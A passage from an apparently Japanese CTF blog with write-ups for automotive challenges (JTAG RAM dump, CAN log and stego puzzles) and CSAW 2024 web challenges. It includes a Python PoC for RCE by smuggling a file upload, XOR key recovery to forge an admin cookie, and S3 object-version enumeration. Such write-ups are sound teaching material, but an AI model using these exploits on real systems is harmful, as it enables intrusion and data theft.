B4ODAsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgxLDB4ODMsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgxLDB4ODIsMHg4MCwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODMsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgwLDB4ODIsMHg4MiwweDgxLDB4ODMsMHg4MSwweDgzLDB4ODIsMHg4MywweDgzLDB4ODAsMHg4MSwweDgyLDB4ODAsMHg4MywweDgwLDB4ODMsMHg4MCwweDgwLDB4ODIsMHg4MywweDgzLDB4ODIsMHg4MCwweDgyLDB4ODIsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgxLDB4ODIsMHg4MywweDgwLDB4ODIsMHg4MiwweDgzLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODMsMHg4MSwweDgzLDB4ODEsMHg4MCwweDgxLDB4ODAsMHg4MSwweDgwLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MSwweDgwLDB4ODIsMHg4MSwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MywweDgzLDB4ODAsMHg4MiwweDgyLDB4ODEsMHg4MCwweDgxLDB4ODEsMHg4MSwweDgwLDB4ODEsMHg4MiwweDgzLDB4ODAsMHg4MSwweDgwLDB4ODAsMHg4MiwweDgyLDB4ODIsMHg4MywweDgyLDB4ODEsMHg4MiwweDgwLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MiwweDgxLDB4ODIsMHg4MSwweDgwLDB4ODMsMHg4MiwweDgyLDB4ODIsMHg4MywweDgzLDB4ODEsMHg4MSwweDgxLDB4ODIsMHg4MSwweDgyLDB4ODEsMHg4MywweDgwLDB4ODAsMHg4MCwweDgxLDB4ODIsMHg4MCwweDgzLDB4ODEsMHg4MCwweDgzLDB4ODIsMHg4MiwweDgwLDB4ODIsMHg4MywweDgxLDB4ODMsMHg4MywweDgyLDB4ODMsMHg4MywweDgwLDB4ODMsMHg4MCwweDgyLDB4ODEsMHg4MiwweDgzLDB4ODIsMHg4MCwweDgwLDB4ODEsMHg4MywweDgwLDB4ODIsMHg4MCwweDgyLDB4ODIsMHg4MSwweDgwLDB4ODAsMHg4MSwweDgyLDB4ODMsMHg4MSwweDgyLA&ieol=CRLF

ということで前問から10分も経たずに解けた。bh{J0KE_PIquANT}

[ECU D] JTAG

フラグはJTAGインターフェースからECU DのRAMから読み取れます。
注意: この問題を解くためにopenocdが使用できます。

JTAGは出ますという事前アナウンスが直前にあったので、JTAGで接続してOpenOCDを使う流れを素振りしていた。おかげで本番はスムーズに解けた。この記事を丸ごとコピーしてできるようにしておいた。

結線する

今回自分が使ったC232HM-DDHSL-0は片方がJTAG用の端子で、片方がPCに刺せるようにUSBになっている。よって、最初はRAMNのECU Dに対して正しくJTAG用に結線することから始まる。 この記事にC232HM-DDHSL-0の色と用途のマッピングの図が書いてある。以下のような感じで刺せばいいと分かる。

ORANGE → TCK
YELLOW → TDI
GREEN → TDO
BROWN → TMS
GREY → TRST
BLACK → GND

次はRAMNのECU D側でどこに刺すかという部分であるが、コンテストサイトのnotificationsを見ると、拡張ポートからのみ接続するよう指示があった。RAMNの拡張ポートのページを見てみると、ECU Dのピン配置の番号と、各番号が何に対応しているかの図が書いてあった。それを参考にすると、以下のように結線すればいいことが分かる。

ORANGE → TCK → 24
YELLOW → TDI → 23
GREEN → TDO → 25
BROWN → TMS → 22
GREY → TRST → 26
BLACK → GND → 4

OpenOCDを使う

これで物理的な準備は整ったのでもう片方のUSB端子をPCにつないでOpenOCDを起動させていく。OpenOCDを起動させるにはインターフェースの設定ファイルと、マイコンの設定ファイルを用意する必要がある。

インターフェースの設定ファイルは、つまりは、C232HM-DDHSL-0の設定ファイルということになる。この点については、このページにある機器と同じものを使っているので、このページのc232hm-edhsl-0.cfgを使えばよい。

マイコンの設定ファイルを探してくる必要がある。コンテストサイトのnotificationsを見るとECUのマイコンはSTM32L552です。とあるので、STM32L552用を探してくる。この辺りの良くまとまっているサイトからstm32ほにゃらら.cfgを持ってきて試すもうまくいかない。エラーが出る。

エラーメッセージからトラブルシューティングしているとこのようなサイトが見つかる。確かにこの箇所が原因でエラーが出ているようだった。自力で直そうかと思ったが、この記事の人が既に修正したものを配布してくれていた。ここからOpenOCD spesific MCU-Aimed cfg files Nemuisan Specialをダウンロードしてきて色々試すと、OpenOCD_cfgs/tcl/target/stm32l1x_flash.cfgでOpenOCDの起動に成功!!!

インターフェースとマイコンの設定ファイルを持ってきて sudo openocd -f c232hm-edhsl-0.cfg -f stm32l1x_flash.cfg で起動する。

telnet経由でRAMから読み出す

telnet経由で謎のコンソールが立ち上がるのでメモリを取り出そうとしてみるが権限エラーになる。ちゃんとRAMの場所を指定する必要があるようだ。色々インターネットを探すとこのような記事が見つかる。ここに書いてある0x20000000を試すとRAMを読み出すことが出来た!

> mdw 0x20000000 0x1000
0x20000000: 0000027f 00000000 00000000 00000008 00000000 00000000 00000000 00000000 
0x20000020: 00000000 00000001 99f8b879 0000027a 00000000 00000000 00000001 00000000 
0x20000040: 00000000 00000000 00000000 00000000 00027f04 00000000 00000000 00000800 
0x20000060: 00000000 00000000 00000000 00000000 00000000 00000100 ff88ef01 00027aee 
...

ダンプできたメモリからフラグを探す

とりあえず0x20000000~0x2000bfa0くらいまでは取れたので、バイナリにする。それをstringsしてみるとS{hbLTOP_SSEARCSといういかにも怪しい文字列が出てくるので、その辺りを見てみると以下のようになっていた。

$ hd dump.bin | grep S{hb -A 2
0000a020  53 7b 68 62 4c 54 4f 50  5f 53 53 45 41 52 43 53  |S{hbLTOP_SSEARCS|
0000a030  00 7d 4c 57 06 99 f5 3a  d8 32 de 54 f0 61 eb c3  |.}LW...:.2.T.a..|
0000a040  cf 0a de f9 9b cd f2 db  a1 4e ad 8b a3 56 15 1f  |.........N...V..|

4バイトごとにリトルエンディアンのような感じで変換するとフラグになる。bh{SPOTLESS_SCRAWL}

[ECU B] RAM peak 解けなかった

4時間くらいひたすら取り組んでいました。あまりに解けないのでkusanoさんが

  • 与えられているWifiの紙に何かヒントがあるのではないか?
  • もしかして、Flag flag -> 0x466c6167 0x666c6167…か?

をしていて面白かった。

Automotive CTF Japan 予選 Writeup

https://ctftime.org/event/2473

誘っていただき、TeamOneとして出てました。自分が良く取り組んだ問題について書いていきます。メンバーのWriteupはここここ。決勝進出!

[Stego] Walk in the Park

park.binというファイルが与えられるのでステガノする問題。

この問題では、問題タイトルと問題文から解法を推理する必要がある。

Walk in the Park
Don't waste too much time!

第一ステップ

まずはタイトルから推理して、binWalk in the park.binをする。

$ binwalk -e park.bin

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
57322         0xDFEA          uImage header, header size: 64 bytes, header CRC: 0x3DE33638, created: 2022-04-26 19:08:39, image size: 383504341 bytes, Data Address: 0xC136CE7E, Entry Point: 0xD0124D5E, data CRC: 0x1A688395, OS: Esix, CPU: PowerPC, image type: Firmware Image, image name: "null"
116932        0x1C8C4         gzip compressed data, has original file name: "null", from Acorn RISCOS, last modified: 2025-05-26 10:01:27
166972        0x28C3C         uImage header, header size: 64 bytes, header CRC: 0x4A0D4D83, created: 2026-01-18 17:56:49, image size: 19289263 bytes, Data Address: 0x1FD34521, Entry Point: 0x1697520B, data CRC: 0x82B8DCA1, OS: Esix, CPU: PowerPC, image type: Firmware Image, image name: "null"
204221        0x31DBD         BSD 2.x filesystem, size: -1252334617600 bytes, total blocks: -1222983025, free blocks: 0, last modified: 2031-03-30 03:08:45

4つ出てくる。特筆すべき点がnameがnullになっているという点。

第二ステップ

次のヒントはDon't waste too much time!である。binwalkの結果を見るとどれも時間が書かれていた。これをunixtimeに変換してasciiに変換してみよう。以下のようなスクリプトを使う。

import datetime

def datetime_to_unix_bytes(date_str:str, timezone) -> bytes:
    dt = datetime.datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
    unix_time = int(dt.timestamp()) + timezone
    unix_time_bytes = unix_time.to_bytes(4, byteorder='big')
    
    return unix_time_bytes

ans = datetime_to_unix_bytes("2022-04-26 19:08:39", 0) + datetime_to_unix_bytes("2025-05-26 10:01:27", 0) + datetime_to_unix_bytes("2026-01-18 17:56:49", 0) + datetime_to_unix_bytes("2031-03-30 03:08:45", 0)
print(ans)

するとb'bg\xc4\xa7h3\xbdgil\xa0Qs0\xbd\xad'という出力が得られた。bから始まっていますね。何か良い予感する。

第三ステップ

時刻を見るとタイムゾーンが気になるのが人の性。ローカルタイムになっているのではないかということで、タイムゾーンガチャをしてみよう。以下のように適当に増やして回してみる。

import datetime

def datetime_to_unix_bytes(date_str:str, timezone) -> bytes:
    dt = datetime.datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
    unix_time = int(dt.timestamp()) + timezone
    unix_time_bytes = unix_time.to_bytes(4, byteorder='big')
    
    return unix_time_bytes

for dt in range(24*60*60):
    ans = datetime_to_unix_bytes("2022-04-26 19:08:39", dt) + datetime_to_unix_bytes("2025-05-26 10:01:27", dt) + datetime_to_unix_bytes("2026-01-18 17:56:49", dt) + datetime_to_unix_bytes("2031-03-30 03:08:45", dt)
    try:
        if ans.decode().startswith('bh{'):
            print(dt, ans)
    except:
        pass

これを実行すると、以下のような結果が得られる。

46767 b'bh{Vh4t\x16imW\x00s1t\\'
46768 b'bh{Wh4t\x17imW\x01s1t]'
46769 b'bh{Xh4t\x18imW\x02s1t^'
46770 b'bh{Yh4t\x19imW\x03s1t_'
46771 b'bh{Zh4t\x1aimW\x04s1t`'
46772 b'bh{[h4t\x1bimW\x05s1ta'
46773 b'bh{\\h4t\x1cimW\x06s1tb'
46774 b'bh{]h4t\x1dimW\x07s1tc'
46775 b'bh{^h4t\x1eimW\x08s1td'
46776 b'bh{_h4t\x1fimW\ts1te'
46777 b'bh{`h4t imW\ns1tf'
46778 b'bh{ah4t!imW\x0bs1tg'
46779 b'bh{bh4t"imW\x0cs1th'
46780 b'bh{ch4t#imW\rs1ti'
46781 b'bh{dh4t$imW\x0es1tj'
46782 b'bh{eh4t%imW\x0fs1tk'
46783 b'bh{fh4t&imW\x10s1tl'
46784 b"bh{gh4t'imW\x11s1tm"
46785 b'bh{hh4t(imW\x12s1tn'
46786 b'bh{ih4t)imW\x13s1to'
46787 b'bh{jh4t*imW\x14s1tp'
46788 b'bh{kh4t+imW\x15s1tq'
46789 b'bh{lh4t,imW\x16s1tr'
46790 b'bh{mh4t-imW\x17s1ts'
46791 b'bh{nh4t.imW\x18s1tt'
46792 b'bh{oh4t/imW\x19s1tu'
46793 b'bh{ph4t0imW\x1as1tv'
46794 b'bh{qh4t1imW\x1bs1tw'
46795 b'bh{rh4t2imW\x1cs1tx'
46796 b'bh{sh4t3imW\x1ds1ty'
46797 b'bh{th4t4imW\x1es1tz'
46798 b'bh{uh4t5imW\x1fs1t{'
46799 b'bh{vh4t6imW s1t|'
46800 b'bh{wh4t7imW!s1t}'
46801 b'bh{xh4t8imW"s1t~'
46802 b'bh{yh4t9imW#s1t\x7f'

とてもいい感じ。見ると46800の時に正解のようなフラグができている。bh{wh4t7imW!s1t}。提出してみるが、不正解。

第四ステップ

フラグを見ると、どう見てもwhat time is itにしたい雰囲気を感じる。4文字ずつ生成されることを考えると、

bh{w
h4t7
imW!
s1t}

という感じになるが、3番目だけどうもおかしい。そうですね、3番目だけタイムゾーンが違う。3番目のタイムゾーンを全探索しなおす。さすがに1時間単位だろうと思うので以下のように書いて様子を見る。

import datetime

def datetime_to_unix_bytes(date_str:str, timezone) -> bytes:
    dt = datetime.datetime.strptime(date_str, "%Y-%m-%d %H:%M:%S")
    unix_time = int(dt.timestamp()) + timezone
    unix_time_bytes = unix_time.to_bytes(4, byteorder='big')
    
    return unix_time_bytes

dt1 = 46800

for dt2 in range(24):
    ans1 = datetime_to_unix_bytes("2022-04-26 19:08:39", dt1) + datetime_to_unix_bytes("2025-05-26 10:01:27", dt1)
    ans2 = datetime_to_unix_bytes("2026-01-18 17:56:49", dt2*60*60)
    ans3 = datetime_to_unix_bytes("2031-03-30 03:08:45", dt1)
    ans = ans1 + ans2 + ans3
    print(dt2, ans)

これの結果が以下。

0 b'bh{wh4t7il\xa0Qs1t}'
1 b'bh{wh4t7il\xaeas1t}'
2 b'bh{wh4t7il\xbcqs1t}'
3 b'bh{wh4t7il\xca\x81s1t}'
4 b'bh{wh4t7il\xd8\x91s1t}'
5 b'bh{wh4t7il\xe6\xa1s1t}'
6 b'bh{wh4t7il\xf4\xb1s1t}'
7 b'bh{wh4t7im\x02\xc1s1t}'
8 b'bh{wh4t7im\x10\xd1s1t}'
9 b'bh{wh4t7im\x1e\xe1s1t}'
10 b'bh{wh4t7im,\xf1s1t}'
11 b'bh{wh4t7im;\x01s1t}'
12 b'bh{wh4t7imI\x11s1t}'
13 b'bh{wh4t7imW!s1t}'
14 b'bh{wh4t7ime1s1t}'
15 b'bh{wh4t7imsAs1t}'
16 b'bh{wh4t7im\x81Qs1t}'
17 b'bh{wh4t7im\x8fas1t}'
18 b'bh{wh4t7im\x9dqs1t}'
19 b'bh{wh4t7im\xab\x81s1t}'
20 b'bh{wh4t7im\xb9\x91s1t}'
21 b'bh{wh4t7im\xc7\xa1s1t}'
22 b'bh{wh4t7im\xd5\xb1s1t}'
23 b'bh{wh4t7im\xe3\xc1s1t}'

いいですね。一つだけ浮いて見えるフラグがありますね。bh{wh4t7ime1s1t}が正解。

[xNexux] Can bus anomaly #1

xNexusというVSOCプラットフォーム(つまりは車向けのSIEMとかXDRみたいなやつ)が与えられ、ログが色々出ているので設問に答える問題。設問は以下。

Analyze CAN Bus Data anomalies and find the pattern. Answer should be enclosed in the standard format flag.

問題文通りに進めていく

xNexusを巡回するとpayload_fingerprint_violation_reasonという検知がログに大量に残っていた。Analyze CAN Bus Data anomaliesはこれのことですね。となると次はfind the pattern部分であるが、眺めていくと以下のようなパターンがあることが分かった。

CanID         Data
0x00000760    0314ff0000000000
0x00000768    6f6d346e00000000
0x00000768    0354ff000000346c
0x00000094    0279660000000000
0x00000094    0000400000000000
0x00000094    6c346700000000
0x00000094    0000800000000000
0x00000094    1337c00000beff00

パターンがどの部分を指すのかは分かった。あとは、答えをいつものフラグ形式を使って回答するだけのシンプルな問題。

Ascii変換

いつものようにとりあえずasciiに変換してみよう。

CanID         Data
0x00000760    0314ff00 00000000   .... ....
0x00000768    6f6d346e 00000000   om4n ....
0x00000768    0354ff00 0000346c   .T.. ..4l
0x00000094    02796600 00000000   .yf. ....
0x00000094    00004000 00000000   ..@. ....
0x00000094    6c346700 000000     l4g. ...
0x00000094    00008000 00000000   .... ....
0x00000094    1337c000 00beff00   .7.. ....

l4gom4nのようなフラグの断片のようなものが見えてくる。

グッと睨むと

bh{4nom4lyfl4g} フラグが出てきます。正攻法はあるかもしれないが分からなかった。

[OSINT] 1 or 2?

問題文は以下。

What is the make and color of our other vehicle we owned? One is grey.
Write answer in format: bh{color_make}, for example: bh{yellow_cadillac}

誰かが2台車を持っていて、1台はグレーだが、もう1台は何色でどこのメーカーでしょうかという問題。

OSINTと言えばSNS

コンテストサイトのトップページにLinkedInのリンクがあった。これを開くとBlock Harbor Cybersecurityへのリンクがある。投稿を見ていくと、このようなポストが見つかる。

1台はグレーで、1台は赤の車が並んで撮影されていた。手前の車を画像検索すると、Ford Mustangであることが分かるのでbh{red_ford}

[Misc] Lost in the echo

ctf.srというロジックアナライザ―ファイルが手に入るので、デコードする問題。PulseViewで開く。2つ通信の塊が記録されている。

1つ目の塊

周波数を計算すると9615bpsで、LIN通信っぽい見た目をしていたので、LIN通信でデコードにしてBaudを9615にすると色々出てきた。UART RX dataを全部ダンプしてくる。

9729251-9749221 UART: RX data: 20
9749220-9751717 UART: RX data: Stop bit
9751711-9754208 UART: RX data: Start bit
9754207-9774177 UART: RX data: 4C
9774176-9776673 UART: RX data: Stop bit
9776668-9779165 UART: RX data: Start bit
9779164-9799134 UART: RX data: 6F
9799133-9801630 UART: RX data: Stop bit
9801624-9804121 UART: RX data: Start bit

UARTなのでstart/stop bitがあり、データが送信されている。データを全部持ってきてasciiにすると以下のようになる。

 Loaded Succesfully
CPU clock speed:   792MHz
Encoding the secret with shift 13
Copying the secret codes to vault
echo "OU{HNEG3AP...


Detected noise on the line.. Falling back to lower transmission speed

ほう。周波数を調整しようという話をしていますね。

2つ目の塊

こちらも周波数を計算すると1200bpsで同様の手順でasciiにすると

Switched to lower tranmission speed
Enabling more "secure" transmission
Encoding the secret to be a little more safe

01001111 01010101 01111011 01001000 01001110 01000101 01000111 00110011 01000001 01010000 00110000 01010001 00110011 01001110 01000001 01010001 01010001 00110011 01010000 00110000 01010001 00110011 01111101

といい感じに出てくるので後は以下のような感じで変換すればフラグが出てくる。

https://gchq.github.io/CyberChef/#recipe=From_Binary('Space',8)ROT13(true,true,false,13)&input=MDEwMDExMTEgMDEwMTAxMDEgMDExMTEwMTEgMDEwMDEwMDAgMDEwMDExMTAgMDEwMDAxMDEgMDEwMDAxMTEgMDAxMTAwMTEgMDEwMDAwMDEgMDEwMTAwMDAgMDAxMTAwMDAgMDEwMTAwMDEgMDAxMTAwMTEgMDEwMDExMTAgMDEwMDAwMDEgMDEwMTAwMDEgMDEwMTAwMDEgMDAxMTAwMTEgMDEwMTAwMDAgMDAxMTAwMDAgMDEwMTAwMDEgMDAxMTAwMTEgMDExMTExMDE&ieol=CRLF&oeol=CRLF

[Stego] ivi

ディスクイメージが与えられるので色々頑張ってフラグを持って来る問題。解法ログをちゃんと残していなくていまいち解法を覚えていないが、確か以下のような流れ。

  1. 削除されたファイルからとあるパスワードを取得し
  2. rolled.jpgといういつもの人の画像をbinwalkすると暗号化zipが手に入り
  3. 暗号化zipを手順1のパスワードで解凍するとパスワードが手に入り
  4. 手順3のパスワードでLUKS暗号化領域を開き
  5. 1206112547-29099.txtという座標が書かれたファイルが手に入るので、
  6. Google Mapで座標を全部ピン止めしてみるとROUND_THE_WORLDという文字が浮かび上がってきて、それがフラグ

[Misc] Siggy

cybertruck.pngというファイルが与えられるのでステガノする問題。

Part 1

exiftoolで見てみるとフラグの前半部分が見つかる。

$ exiftool cybertruck.png
...
Interlace                       : Noninterlaced
Exif Byte Order                 : Little-endian (Intel, II)
Camera Model Name               : Y3liM3JU
Interoperability Index          : Unknown (VHJ1Q2tf)
SRGB Rendering                  : Perceptual
Image Size                      : 734x734
Megapixels                      : 0.539

Camera Model NameとInteroperability Indexに妙な文字列が入っている。2つを繋げたY3liM3JUVHJ1Q2tfbase64デコードするとcyb3rTTruCk_だった。

Part 2

この車の画像はTeslaのCYBERTRUCKの画像である。オリジナルが無いか探してみると、ここにそれっぽいのがあった。縦のサイズが734pxで一致している。

画像比較してみよう、ということでオリジナルの画像を与えられているcybertruck.pngに合うように加工をしてxor和を取る。

convert cybertruck.png internelt.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" out.png

出てきたout.pngを青い空を見上げればいつもそこに白い猫に食わせて、ステガノグラフィー解析でポチポチやっていくと、RGBそれぞれの下位0ビットを抽出するとQRコードが浮かびあがってきた。 RのQRコードは壊れていたが、GとBは同じ結果を得ることができて、1s_we1rdが得られる。

よって

(フラグミスはあったので調整をして)bh{cyb3rTruCk_1s_we1rd}が答え。

[Stego] Stego 1

青い空を見上げればいつもそこに白い猫に食わせて、ステガノグラフィー解析でポチポチやるとフラグが出てくる。

CSAW CTF Qualification Round 2024 Writeup

https://ctftime.org/event/2398

[web] BucketWars

ソースコード無し。開いてみると

What's in a bucket?
Looking deeper into the stolen bucket only reveals past versions of our own selves one might muse 盗まれたバケツを深く覗き込むことは、結局のところ過去の自分自身を見ることに他ならない、と人は考えるかもしれない。

と言われる。Bucketと言えば、Amazon S3だが…

バケット名を探す

Burp Suiteを開いて、サイトを巡回して、Historyを見て回る。レスポンスヘッダーを見るとServer: AmazonS3とあり、S3でホストしているのは間違いなさそうだが、間にCloudFrontが挟まっていてbucketnameは分からない。

…と思いきやGET /favicon.icoの404応答を見ると、https://s3.us-east-2.amazonaws.com/bucketwars.ctf.csaw.io/404.jpgのように出力があり、bucketnameが漏洩していた。なるほど。つまり、バケット名は「bucketwars.ctf.csaw.io」

AWS CLIで色々やってみる

昔のバージョンが得られれば良さそうなので、aws s3api list-object-versions --bucket bucketwars.ctf.csaw.io --no-sign-requestしてみるとたくさん出てきた。出てきたものをaws s3api get-objectで取得してみると成功した。適当にリストを作ってマルチカーソルでコマンドをちまちま作って一気に持って来る。

$ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS --no-sign-request
$ aws s3api get-object --bucket bucketwars.ctf.csaw.io --key index_v1.html ./$(date +%s%3N)-index_v1.html --version-id t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB --no-sign-request

この辺りを持って来ると気になる情報が手に入る。

t6G6A20JCaF5nzz6KuJR6Pj1zePOLAdB
->
Wait what's here?
<img src="https://asdfaweofijaklfdjkldfsjfas.s3.us-east-2.amazonaws.com/sand-pit-1345726_640.jpg">

CFNz2JPIIJfRlNfnVx8a45jgh0J90KxS
->
<!-- Note to self: be sure to delete this password: versions_leaks_buckets_oh_my --> 

ステガノする

この2つを元にステガノすると(?)フラグが手に入る。

$ steghide extract -sf sand-pit-1345726_640.jpg -p versions_leaks_buckets_oh_my
wrote extracted data to "flag.txt".

$ cat flag.txt
csawctf{■■■■■■■■■■■■■■■■■■■■■■■■}

[web] Charlies Angels

ソースコード有り。javascriptで書かれたフロント側と、pythonで書かれたバックエンドが用意されている。フラグはpython側のバックエンドの/flagに置いてある。

pythonコードを動かしている箇所がある

@app.route('/restore', methods=["GET"])
def restore():
    filename = os.path.join("backups/", request.args.get('id'))
    restore = "ERROR"
    if os.path.isfile(filename + '.py'):
        try:
            py = filename + '.py'
            test = subprocess.check_output(['python3', py])
            if "csawctf" in str(test): 
                return "ERROR"
            restore = str(test)
        except subprocess.CalledProcessError as e:
            filename = "backups/" + request.args.get('id') + 'json'
            if not os.path.isfile(filename): return "ERROR"
            f = open(filename, "r")
            jsonified = json.dumps(f.read())
            if "flag" not in filename or "csawctf" not in jsonified:
                restore = jsonified
    return restore

バックエンド側でpythonコードを動かしている箇所があり非常に怪しい。しかも、普通に実行しているとここでエラーになる。filenameはGETクエリストリングからidパラメタを取得してきて.pyを付けたものを利用している。フロント側でここを呼び出しているのは以下。

app.get('/restore', authn, (req, res) => {  
    let restoreURL = BACKUP + `/restore?id=${req.sessionID}`;
    console.log(restoreURL);
    needle.get(restoreURL, (error, response) => {
        try {
            if (error) throw new Error(error);
            if (response.body == "ERROR") throw new Error("HTTP Client error");
            return res.send(response.body);
        } catch (e) {
            if (e.message != "HTTP Client error") {
                console.log(e);
            }
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
});

idとしてセッションIDを返している。つまり、backups/[セッションID].pyを実行していることになる。セッションIDは固定化するのは難しそうだったが、Cookieをよく見るとセッションIDが含まれていた。自分のセッションIDは取得可能であるため、任意のbackups/[自分のセッションID].pyのファイルが作成できれば、RCEまでつなげることができる。任意のファイルをアップロードできる箇所を探してみよう。

任意のファイルをアップロードする

バックエンド側のもう一つのエンドポイントもかなり怪しい見た目になっている。

BANNED = ["app.py", "flag", "requirements.txt"]
@app.route('/backup', methods=["POST"])
def backup():
    if request.files: 
        for x in request.files:
            file = request.files.get(x)
            for f in BANNED:
                if file.filename in f or ".." in file.filename:
                    return "ERROR"
            try:
                name = file.filename
                if "backups/" not in name:
                    name = "backups/" + name
                f = open(name, "a")
                f.write(file.read().decode())
                f.close()
            except:
                return "ERROR"
    else:
        backupid = "backups/" + request.json["id"] + ".json"
        angel = request.json["angel"]
        f = open(backupid, "a")
        f.write(angel)
        f.close()
    
    return "SUCCESS"

POST /backupにアップロードされたファイルをbackupsフォルダ以下に保存している。いかにもbackups/[自分のセッションID].pyが用意できそうな雰囲気がある。呼び出し元を見てみよう。

app.post('/angel', (req, res) => {
    for (const [k,v] of Object.entries(req.body.angel)) {
        if (k != "talents" && typeof v != 'string') {
            return res.status(500).send("ERROR!");
        }
    }
    req.session.angel = {
        name: req.body.angel.name,
        actress: req.body.angel.actress,
        movie: req.body.angel.movie,
        talents: req.body.angel.talents
    };
    const data = {
        id: req.sessionID,
        angel: req.session.angel
    };
    const boundary = Math.random().toString(36).slice(2) + Math.random().toString(36).slice(2);
    needle.post(BACKUP + '/backup', data, {multipart: true, boundary: boundary},  (error, response) => {
        if (error){
            console.log(error);
            return res.status(500).sendFile('public/html/error.html', {root: __dirname});
        }
    });
    return res.status(200).send(req.sessionID);

});

needleというライブラリを使ってバックエンドを呼び出している。だが、読んだ感じファイルアップロードをしているような実装ではなく、実際に試してみてもアップロードではなかった。外部入力的にはneedle.postの第二引数の一部を改変可能だが、うまくやれないだろうか?

needleの公式READMEを見ると、ここにあるように)第二引数経由でファイルを入れ込めるようだ。フロント側のjavascriptを見ると、angel.talents以下のみstringでなくても良いので、そこにここにあるようなものを入れて試してみる。つまり、手元で環境を立ち上げてPOST /angelに以下のようなjsonを送ってみる。

{
    "angel": {
        "name":"Tiffany Welles",
        "actress":"Shelley Hack",
        "movie":"OG Charlie's Angels TV Series",
        "talents": {
            "filename": "hoge.py",
            "buffer": "print(1337)",
            "content_type": "application/json"
        }
    }
}

これでバックエンドのターミナルを起動してみると、backups/hoge.pyが生成されていて、bufferの中身が保存されていた!!! このエンドポイントを活用することで任意のファイル名・中身のファイルの生成に成功した。

1つにまとめる

以上2つのポイントをまとめることで任意のpythonスクリプトを動かすことができる。ここまでの理屈が理解できていればPoCを読む方が後は明快なので、PoCを置いておく。

import requests

BASE = 'https://[redacted]/'

s = requests.Session()

s.get(BASE + 'angel')
session_id = s.cookies.get('connect.sid')[4:36]
s.post(BASE + 'angel', json={
    "angel": {
        "name":"hoge",
        "actress":"fuga",
        "movie":"piyo",
        "talents": {
            "filename": session_id + '.py',
            "buffer": "print(open('/flag').read().replace('csawctf','[redacted]'))",
            "content_type": "application/evil"
        }
    }
})
t = s.get(BASE + 'restore').text
print(t)

注意点としてバックエンドのGET /restoreにてpythonスクリプトの実行結果にcsawctfが含まれているとエラーになるので、適当に変換して出力している。

[web] Log Me In

ソースコード有り。フラグは以下にある。

@pagebp.route('/user')
def user():
    cookie = request.cookies.get('info', None)
    name='hello'
    msg='world'
    if cookie == None:
        return render_template("user.html", display_name='Not Logged in!', special_message='Nah')
    userinfo = decode(cookie)
    if userinfo == None:
        return render_template("user.html", display_name='Error...', special_message='Nah')
    name = userinfo['displays']
    msg = flag if userinfo['uid'] == 0 else "No special message at this time..."
    return render_template("user.html", display_name=name, special_message=msg)

つまり、Cookieのinfo経由で与えた何かをデコードした結果がuid=0であればよい。decode関数を見てみる。

def decode(inp: str) -> dict:
    try:
        token = bytes.fromhex(inp)
        out = ''
        for i,j in zip(token, os.environ['ENCRYPT_KEY'].encode()):
            out += chr(i ^ j)
        user = json.loads(out)
        return user
    except Exception as s:
        LOG(s)
        return None

hexをデコードしてos.environ['ENCRYPT_KEY']とXORを取っている。なるほど。鍵を特定する必要がありそう。

鍵を特定し、トークンを偽装する

encodeしている箇所を探すとPOST /loginで使われていた。

@pagebp.route('/login', methods=["GET", "POST"])
def login():
    if request.method != 'POST':
        return send_from_directory('static', 'login.html')
    username = request.form.get('username')
    password = sha256(request.form.get('password').strip().encode()).hexdigest()
    if not username or not password:
        return "Missing Login Field", 400
    if not is_alphanumeric(username) or len(username) > 50:
        return "Username not Alphanumeric or longer than 50 chars", 403
    # check if the username already exists in the DB
    user = Account.query.filter_by(username=username).first()
    if not user or user.password != password:
        return "Login failed!", 403
    user = {
        'username':user.username,
        'displays':user.displayname,
        'uid':user.uid
    }
    token = encode(dict(user))
    if token == None:
        return "Error while logging in!", 500
    response = make_response(jsonify({'message': 'Login successful'}))
    response.set_cookie('info', token, max_age=3600, httponly=True)
    return response

ソースコードがあるので構造が分かっていて、前半はユーザー入力で構成されている。よって、平文がほとんど分かる状態である。token = 平文 xor 鍵であるため、token xor 平文で鍵を導出することができる。username, diplaynameを適当に伸ばせば十分な長さの鍵を取得することができる。

やってみよう。まず、username, displayname共に「EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE」を設定してユーザー登録する。その際に得られたトークンを使って以下のようなスクリプトを回して鍵を手に入れ、uid=0にしたトークンを偽装する。

import json

user = {
    'username': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',
    'displays': 'EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE',
    'uid': 1
}
plaintext = json.dumps(dict(user)).encode()

inp = '48674c3731025651282f614a4d543317217d37220724263232722c3111177636227c2834020e3d3d342e311f0a35373d040b0f2c1d033c147013703f060d772a535e551417281f1c2114361540494e6b32727177320a300a06162e211c1f211774260e012c08090e0c3d27152d002c0b3f207200207635720e210311273208773437114a55604c0f02724d6e7027'
token = bytes.fromhex(inp)
key = ''
for i,j in zip(token, plaintext):
    key += chr(i ^ j)
print(key)


user = {
    'username': 'a',
    'displays': 'b',
    'uid': 0
}
plaintext = json.dumps(dict(user)).encode()
out = b''
for i,j in zip(plaintext, key.encode()):
    out += bytes([i^j])
print(bytes.hex(out))

最終的に出力されたトークンをCookieのinfoに入れてGET /userにアクセスするとフラグが得られる。

[web] Lost Pyramid

ソースコード有り。問題文にヒントがある。

A massive sandstorm revealed this pyramid that has been lost (J)ust over 3300 years.. I'm interested in (W)here the (T)reasure could be?

JWTをなんかするみたい。

フラグはどこにある?

